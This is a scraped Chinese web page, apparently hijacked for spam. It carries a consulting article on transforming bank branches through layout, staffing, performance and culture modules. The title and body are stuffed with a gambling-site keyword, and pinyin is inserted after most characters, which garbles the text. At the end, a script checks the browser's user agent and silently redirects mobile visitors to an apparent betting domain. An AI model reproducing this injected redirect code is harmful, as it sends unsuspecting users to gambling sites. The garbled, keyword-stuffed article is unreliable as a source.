ku游戏网站

今天是2021年(nian)7月31日(ri) 星期六,欢(huan)迎光临本站 

网点管理

【原创】ku游戏网站咨询的网点全面转型项目方案

文字:[大][中][小] 手机页面二维码 2020/3/9     浏览次数:    
项(xiang)目目标: 
网(wang)(wang)(wang)(wang)点(dian)转(zhuan)(zhuan)型(xing)(xing)(xing)是一(yi)次全面(mian)、彻底而(er)又深入的(de)转(zhuan)(zhuan)型(xing)(xing)(xing),不仅限于网(wang)(wang)(wang)(wang)点(dian)布局优化(hua)、功(gong)能(neng)分区(qu)和渠道整合,还要深化(hua)网(wang)(wang)(wang)(wang)点(dian)的(de)服(fu)(fu)务转(zhuan)(zhuan)型(xing)(xing)(xing)、营(ying)销转(zhuan)(zhuan)型(xing)(xing)(xing)和管(guan)理(li)转(zhuan)(zhuan)型(xing)(xing)(xing),准确网(wang)(wang)(wang)(wang)点(dian)分类,有(you)效理(li)顺岗位绩效,全面(mian)优化(hua)服(fu)(fu)务营(ying)销流(liu)程,着(zhe)力(li)培育追(zhui)求卓越的(de)网(wang)(wang)(wang)(wang)点(dian)服(fu)(fu)务文化(hua);通过前(qian)瞻性(xing)、高标准、全方位的(de)转(zhuan)(zhuan)型(xing)(xing)(xing)项目(mu)推广,加快发(fa)(fa)展步伐,全面(mian)提升零售业务的(de)价值创造能(neng)力(li)与可持续发(fa)(fa)展能(neng)力(li)。
 
项目内容安排建议(yi): 
ku游戏网站咨询建议(yi)银行整(zheng)个项目分“硬转型”、“软转型”两个板块平行进行,全面推动网点转型。采用2+810大模(mo)块(kuai)(子(zi)模(mo)块(kuai)),即“硬转型(xing)”模(mo)块(kuai)包含网点(dian)布局(ju)规划、网点(dian)内部布局(ju)功(gong)能优化和网点(dian)环(huan)境管理等2个(ge)子模(mo)块;“软转型”模(mo)块包(bao)含网(wang)点(dian)(dian)分(fen)类、岗位配置、客户管理、绩效管理、网(wang)点(dian)(dian)流(liu)程(cheng)优(you)化(含网(wang)点(dian)(dian)服(fu)务和营销流(liu)程(cheng)建(jian)(jian)设、柜面(mian)业务处理流(liu)程(cheng)优(you)化)、网(wang)点(dian)(dian)精(jing)神和文化建(jian)(jian)设、网(wang)点(dian)(dian)精(jing)细化管理、团(tuan)队建(jian)(jian)设及(ji)培(pei)训等(deng)8个子(zi)模(mo)块。
 
2+8”的10大(da)模块内容主要如下所列(lie):
 
“硬转(zhuan)型”2个子(zi)模块
 
1) 网(wang)(wang)(wang)(wang)点(dian)布(bu)局(ju)(ju)规划子模(mo)块(kuai)主(zhu)要(yao)是以(yi)银行(xing)战(zhan)略为导向,对现有网(wang)(wang)(wang)(wang)点(dian)进行(xing)评(ping)估分析(xi),明确网(wang)(wang)(wang)(wang)点(dian)分类,优化网(wang)(wang)(wang)(wang)点(dian)布(bu)局(ju)(ju),规范网(wang)(wang)(wang)(wang)点(dian)选址,从(cong)而提高银行(xing)网(wang)(wang)(wang)(wang)点(dian)管理(li)水(shui)平,提升网(wang)(wang)(wang)(wang)点(dian)竞争力。网(wang)(wang)(wang)(wang)点(dian)布(bu)局(ju)(ju)规划主(zhu)要(yao)解决的问(wen)题包(bao)括:网(wang)(wang)(wang)(wang)点(dian)整体布(bu)局(ju)(ju)和(he)城市规划脱节、网(wang)(wang)(wang)(wang)点(dian)布(bu)局(ju)(ju)不合(he)理(li)、网(wang)(wang)(wang)(wang)点(dian)建设管理(li)的精细(xi)化程(cheng)度不高、网(wang)(wang)(wang)(wang)点(dian)选址不合(he)理(li)等(deng)。
 
2) 网(wang)(wang)点(dian)(dian)(dian)内部布局功(gong)能优化和(he)环(huan)境管理子模块(kuai)主要是(shi)针对(dui)目(mu)前功(gong)能分区和(he)分区组(zu)合两方(fang)面设(she)计(ji)中的(de)(de)可能存在的(de)(de)问题,优化现有的(de)(de)网(wang)(wang)点(dian)(dian)(dian)内部功(gong)能布局;建立(li)并实施(shi)(shi)网(wang)(wang)点(dian)(dian)(dian)环(huan)境现场管理方(fang)法。重点(dian)(dian)(dian)是(shi)梳理和(he)规范网(wang)(wang)点(dian)(dian)(dian)营销(xiao)、服(fu)务(wu)的(de)(de)环(huan)境、办公设(she)施(shi)(shi)物品的(de)(de)种(zhong)类、数量和(he)位(wei)置,保持(chi)网(wang)(wang)点(dian)(dian)(dian)服(fu)务(wu)环(huan)境整洁舒适(shi),为客户营造良(liang)好的(de)(de)销(xiao)售服(fu)务(wu)环(huan)境。
 
“软转型”8个子模块

1) 网(wang)点(dian)分类子模块是在焦作中(zhong)旅银(yin)行现有的客户结(jie)构分类和(he)网(wang)点(dian)分类体系上,进一步明确界定(ding)各类型网(wang)点(dian)的核心功能(neng)(neng)和(he)辅助(zhu)功能(neng)(neng),突出不同类型网(wang)点(dian)的差异化服务(wu)营销策略,尤其是要(yao)明确面向(xiang)优质客户的网(wang)点(dian)类型。
 
2) 网点(dian)(dian)岗(gang)位(wei)配(pei)置(zhi)子(zi)模(mo)块主要是进(jin)行(xing)岗(gang)位(wei)清分,定(ding)岗(gang)定(ding)编(bian),增加和完(wan)善大堂经(jing)理(li)、低柜(ju)柜(ju)员、个人客户经(jing)理(li)等(deng)直(zhi)接面向(xiang)客户的(de)(de)岗(gang)位(wei)职能,划分各岗(gang)位(wei)的(de)(de)职责并增加销(xiao)售要素(su),制定(ding)不同类型网点(dian)(dian)的(de)(de)岗(gang)位(wei)配(pei)置(zhi)标准(zhun)及(ji)人员配(pei)置(zhi)标准(zhun)。
 
3) 网(wang)点(dian)流(liu)程优化(hua)子(zi)模(mo)块包括网(wang)点(dian)服(fu)务(wu)(wu)和(he)(he)营(ying)销(xiao)(xiao)流(liu)程建设和(he)(he)柜面业务(wu)(wu)处理(li)流(liu)程优化(hua)两项(xiang)工(gong)(gong)作。网(wang)点(dian)服(fu)务(wu)(wu)和(he)(he)营(ying)销(xiao)(xiao)流(liu)程建设工(gong)(gong)作旨(zhi)在建立网(wang)点(dian)各岗位(wei)的(de)协作式(shi)销(xiao)(xiao)售,子(zi)模(mo)块将设计一个以客(ke)(ke)户行(xing)为和(he)(he)需求为出发(fa)点(dian),并体现差(cha)异化(hua)的(de),联接大堂(tang)经(jing)理(li)、客(ke)(ke)户经(jing)理(li)或理(li)财经(jing)理(li)以及柜员(yuan)的(de)标(biao)准销(xiao)(xiao)售服(fu)务(wu)(wu)流(liu)程,以指导(dao)和(he)(he)规范网(wang)点(dian)实施(shi)日常的(de)厅堂(tang)营(ying)销(xiao)(xiao)。此外,项(xiang)目中还包括相(xiang)关(guan)的(de)外拓(tuo)营(ying)销(xiao)(xiao)、沙龙营(ying)销(xiao)(xiao)等非现场活动(dong)营(ying)销(xiao)(xiao)工(gong)(gong)作流(liu)程。
 
4) 客(ke)(ke)(ke)(ke)户(hu)(hu)管理(li)(li)模块主要建立(li)起一套完(wan)善(shan)的(de)客(ke)(ke)(ke)(ke)户(hu)(hu)差异化(hua)管理(li)(li)体系(xi),以客(ke)(ke)(ke)(ke)户(hu)(hu)质量和客(ke)(ke)(ke)(ke)户(hu)(hu)结(jie)构分析建立(li)客(ke)(ke)(ke)(ke)户(hu)(hu)信息(xi)数据库,以此为基础进行客(ke)(ke)(ke)(ke)户(hu)(hu)分级管理(li)(li)、客(ke)(ke)(ke)(ke)户(hu)(hu)关系(xi)管理(li)(li)、客(ke)(ke)(ke)(ke)户(hu)(hu)需(xu)求分析、客(ke)(ke)(ke)(ke)户(hu)(hu)服务营销管理(li)(li)、客(ke)(ke)(ke)(ke)户(hu)(hu)忠诚度提(ti)升等方(fang)面进行落地(di)实(shi)施,建立(li)起完(wan)善(shan)的(de)客(ke)(ke)(ke)(ke)户(hu)(hu)管理(li)(li)体系(xi)。
 
5) 网(wang)(wang)(wang)点(dian)绩(ji)效管理(li)子模块主(zhu)要(yao)是考虑网(wang)(wang)(wang)点(dian)类(lei)型差异化后势必要(yao)有差异化的网(wang)(wang)(wang)点(dian)绩(ji)效管理(li)与之配套(tao),不同(tong)类(lei)型的网(wang)(wang)(wang)点(dian)其考核(he)指(zhi)标和目(mu)标也应不同(tong)。同(tong)时网(wang)(wang)(wang)点(dian)人员的绩(ji)效考核(he)应以岗(gang)位角色为出发点(dian),以支行整(zheng)体目(mu)标实现为目(mu)的,细化具体考核(he)项目(mu)和权(quan)重,并丰富考核(he)结果的应用方向(xiang)。
 
6) 网点(dian)精(jing)神(shen)(shen)和(he)(he)文(wen)化(hua)(hua)建设(she)子(zi)模(mo)块主要(yao)需要(yao)建立网点(dian)文(wen)化(hua)(hua)核心价值(zhi)观(网点(dian)服(fu)务(wu)精(jing)神(shen)(shen)),搭建文(wen)化(hua)(hua)管(guan)理(li)(li)组织,固化(hua)(hua)文(wen)化(hua)(hua)管(guan)理(li)(li)流程。服(fu)务(wu)精(jing)神(shen)(shen)是(shi)理(li)(li)念与(yu)行动的统一,除了要(yao)融(rong)入(ru)银行的管(guan)理(li)(li)体系和(he)(he)制度,更(geng)重要(yao)的是(shi)明(ming)确其对(dui)领导与(yu)员(yuan)工(gong)行为的要(yao)求(qiu)。网点(dian)服(fu)务(wu)精(jing)神(shen)(shen)落地关(guan)键是(shi)形(xing)成服(fu)务(wu)精(jing)神(shen)(shen)体系对(dui)整个管(guan)理(li)(li)体系、对(dui)领导行为和(he)(he)员(yuan)工(gong)行为要(yao)求(qiu)的真正指导,并融(rong)入(ru)绩效考核和(he)(he)激励(li)机(ji)制中。
 
7) 网(wang)(wang)点(dian)精细化管(guan)理(li)(li)(li)(li)子模块,是从实(shi)现(xian)对网(wang)(wang)点(dian)成员日(ri)常经(jing)营、管(guan)理(li)(li)(li)(li)行(xing)为的(de)(de)高效运作出发,通过目标管(guan)理(li)(li)(li)(li)、会(hui)(hui)议管(guan)理(li)(li)(li)(li)、过程(cheng)管(guan)理(li)(li)(li)(li)等管(guan)理(li)(li)(li)(li)方式(shi),充分运用(yong)晨会(hui)(hui)、一(yi)对一(yi)指(zhi)导、追踪销售(shou)进度、经(jing)营分析会(hui)(hui)、网(wang)(wang)点(dian)行(xing)动计划(hua)等方法,使(shi)网(wang)(wang)点(dian)成员人人关注整体的(de)(de)经(jing)营和(he)管(guan)理(li)(li)(li)(li),参(can)与销售(shou),团(tuan)结协作,确保各项销售(shou)流程(cheng)的(de)(de)正常运行(xing),实(shi)现(xian)网(wang)(wang)点(dian)业绩(ji)的(de)(de)有效管(guan)理(li)(li)(li)(li)。
 
8) 人(ren)员培(pei)训及(ji)团队建(jian)设(she)模块涵盖(gai)网点核心人(ren)员相(xiang)应的(de)主动(dong)服务(wu)(wu)营(ying)(ying)销意识、服务(wu)(wu)营(ying)(ying)销技(ji)能(neng)、流程建(jian)设(she)及(ji)管理能(neng)力等方面(mian)的(de)提升,为(wei)网点的(de)全面(mian)转型(xing)从思想(xiang)到技(ji)术(shu)等系统性(xing)的(de)打下结(jie)实基础,为(wei)顺利推(tui)进网点转型(xing)提高保(bao)障(zhang)。
返回上一步
打印此页
13818970338
浏览手机站
微信二(er)维码(ma)
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();